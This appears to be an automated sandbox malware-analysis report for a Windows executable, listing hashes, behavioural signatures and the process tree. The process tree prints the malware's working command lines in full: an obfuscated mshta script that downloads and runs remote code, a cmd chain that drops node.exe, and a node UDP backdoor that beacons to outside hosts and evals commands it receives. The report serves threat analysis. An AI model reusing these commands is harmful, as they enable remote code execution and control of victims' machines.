Analysis
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max time kernel
149s -
max time network
193s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-07-2021 08:14
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210720-060205.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210720-060205.exe
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Size
3KB
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MD5
463127c9a2b5eb1bca799aced10e4954
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SHA1
df78c1cca98d6f260f744a2b0639e1fff1c11a5e
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SHA256
863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af
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SHA512
86c01a90941ad53e7d5c77b64c249bb0b4a69d9cc0f3e3971813464312a80ef6b06caef24cec9e9e194a25f0e667eafb445acbe9ce220830e4681312b498d9a4
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 1188 mshta.exe 3 852 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 276 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1672 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 608 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1696 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 332 ipconfig.exe 1164 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 672 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\f985461ecaec9172:ads node.exe File created C:\ProgramData\DNTException\node.exe:35b53a23394378d86b010d42780cf28f node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 276 node.exe 276 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1696 tasklist.exe Token: SeIncreaseQuotaPrivilege 912 wmic.exe Token: SeSecurityPrivilege 912 wmic.exe Token: SeTakeOwnershipPrivilege 912 wmic.exe Token: SeLoadDriverPrivilege 912 wmic.exe Token: SeSystemProfilePrivilege 912 wmic.exe Token: SeSystemtimePrivilege 912 wmic.exe Token: SeProfSingleProcessPrivilege 912 wmic.exe Token: SeIncBasePriorityPrivilege 912 wmic.exe Token: SeCreatePagefilePrivilege 912 wmic.exe Token: SeBackupPrivilege 912 wmic.exe Token: SeRestorePrivilege 912 wmic.exe Token: SeShutdownPrivilege 912 wmic.exe Token: SeDebugPrivilege 912 wmic.exe Token: SeSystemEnvironmentPrivilege 912 wmic.exe Token: SeRemoteShutdownPrivilege 912 wmic.exe Token: SeUndockPrivilege 912 wmic.exe Token: SeManageVolumePrivilege 912 wmic.exe Token: 33 912 wmic.exe Token: 34 912 wmic.exe Token: 35 912 wmic.exe Token: SeIncreaseQuotaPrivilege 912 wmic.exe Token: SeSecurityPrivilege 912 wmic.exe Token: SeTakeOwnershipPrivilege 912 wmic.exe Token: SeLoadDriverPrivilege 912 wmic.exe Token: SeSystemProfilePrivilege 912 wmic.exe Token: SeSystemtimePrivilege 912 wmic.exe Token: SeProfSingleProcessPrivilege 912 wmic.exe Token: SeIncBasePriorityPrivilege 912 wmic.exe Token: SeCreatePagefilePrivilege 912 wmic.exe Token: SeBackupPrivilege 912 wmic.exe Token: SeRestorePrivilege 912 wmic.exe Token: SeShutdownPrivilege 912 wmic.exe Token: SeDebugPrivilege 912 wmic.exe Token: SeSystemEnvironmentPrivilege 912 wmic.exe Token: SeRemoteShutdownPrivilege 912 wmic.exe Token: SeUndockPrivilege 912 wmic.exe Token: SeManageVolumePrivilege 912 wmic.exe Token: 33 912 wmic.exe Token: 34 912 wmic.exe Token: 35 912 wmic.exe Token: SeDebugPrivilege 1164 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1920 wrote to memory of 1188 1920 usfive_20210720-060205.exe 25 PID 1920 wrote to memory of 1188 1920 usfive_20210720-060205.exe 25 PID 1920 wrote to memory of 1188 1920 usfive_20210720-060205.exe 25 PID 1920 wrote to memory of 1188 1920 usfive_20210720-060205.exe 25 PID 1188 wrote to memory of 1760 1188 mshta.exe 30 PID 1188 wrote to memory of 1760 1188 mshta.exe 30 PID 1188 wrote to memory of 1760 1188 mshta.exe 30 PID 1188 wrote to memory of 1760 1188 mshta.exe 30 PID 1760 wrote to memory of 852 1760 cmd.exe 32 PID 1760 wrote to memory of 852 1760 cmd.exe 32 PID 1760 wrote to memory of 852 1760 cmd.exe 32 PID 1760 wrote to memory of 852 1760 cmd.exe 32 PID 1760 wrote to memory of 572 1760 cmd.exe 33 PID 1760 wrote to memory of 572 1760 cmd.exe 33 PID 1760 wrote to memory of 572 1760 cmd.exe 33 PID 1760 wrote to memory of 572 1760 cmd.exe 33 PID 1760 wrote to memory of 1672 1760 cmd.exe 34 PID 1760 wrote to memory of 1672 1760 cmd.exe 34 PID 1760 wrote to memory of 1672 1760 cmd.exe 34 PID 1760 wrote to memory of 1672 1760 cmd.exe 34 PID 1672 wrote to memory of 276 1672 cscript.exe 35 PID 1672 wrote to memory of 276 1672 cscript.exe 35 PID 1672 wrote to memory of 276 1672 cscript.exe 35 PID 1672 wrote to memory of 276 1672 cscript.exe 35 PID 276 wrote to memory of 1360 276 node.exe 37 PID 276 wrote to memory of 1360 276 node.exe 37 PID 276 wrote to memory of 1360 276 node.exe 37 PID 276 wrote to memory of 1360 276 node.exe 37 PID 276 wrote to memory of 1868 276 node.exe 38 PID 276 wrote to memory of 1868 276 node.exe 38 PID 276 wrote to memory of 1868 276 node.exe 38 PID 276 wrote to memory of 1868 276 node.exe 38 PID 276 wrote to memory of 608 276 node.exe 39 PID 276 wrote to memory of 608 276 node.exe 39 PID 276 wrote to memory of 608 276 node.exe 39 PID 276 wrote to memory of 608 276 node.exe 39 PID 276 wrote to memory of 1676 276 node.exe 40 PID 276 wrote to memory of 1676 276 node.exe 40 PID 276 wrote to memory of 1676 276 node.exe 40 PID 276 wrote to memory of 1676 276 node.exe 40 PID 276 wrote to memory of 1680 276 node.exe 41 PID 276 wrote to memory of 1680 276 node.exe 41 PID 276 wrote to memory of 1680 276 node.exe 41 PID 276 wrote to memory of 1680 276 node.exe 41 PID 276 wrote to memory of 1696 276 node.exe 42 PID 276 wrote to memory of 1696 276 node.exe 42 PID 276 wrote to memory of 1696 276 node.exe 42 PID 276 wrote to memory of 1696 276 node.exe 42 PID 276 wrote to memory of 912 276 node.exe 44 PID 276 wrote to memory of 912 276 node.exe 44 PID 276 wrote to memory of 912 276 node.exe 44 PID 276 wrote to memory of 912 276 node.exe 44 PID 276 wrote to memory of 332 276 node.exe 45 PID 276 wrote to memory of 332 276 node.exe 45 PID 276 wrote to memory of 332 276 node.exe 45 PID 276 wrote to memory of 332 276 node.exe 45 PID 276 wrote to memory of 524 276 node.exe 46 PID 276 wrote to memory of 524 276 node.exe 46 PID 276 wrote to memory of 524 276 node.exe 46 PID 276 wrote to memory of 524 276 node.exe 46 PID 276 wrote to memory of 1164 276 node.exe 47 PID 276 wrote to memory of 1164 276 node.exe 47 PID 276 wrote to memory of 1164 276 node.exe 47 PID 276 wrote to memory of 1164 276 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1676 attrib.exe 1680 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();0;y=unescape('%318%36%7E%68t%74p%3A%2F%2Fa%73u%302%2Es%68o%70%2F%68r%69%2F%3F2%31a%36e%34b%7E1%304').split('~');182;try{x='WinHttp';5;x=new ActiveXObject(x+'.'+x+'Request.5.1');141;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);238;x.send();115;y='ipt.S';143;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);27;}catch(e){};167;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626768896444.txt & cscript /nologo /e:jscript get1626768896444.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F244177cd5%26b%3D5b71d75d" node.cab & expand node.cab node.exe & del get1626768896444.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626768896444.txt & cscript /nologo /e:jscript get1626768896444.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2744177cd5%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626768896444.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1760 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768896444.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F244177cd5%26b%3D5b71d75d" node.cab4⤵
- Blocklisted process makes network request
PID:852
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:572
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768896444.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2744177cd5%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2744177cd5%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:276 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1360
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1868
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:608
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1676
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1680
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1696
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:912
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:332
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:524
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1164
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:672
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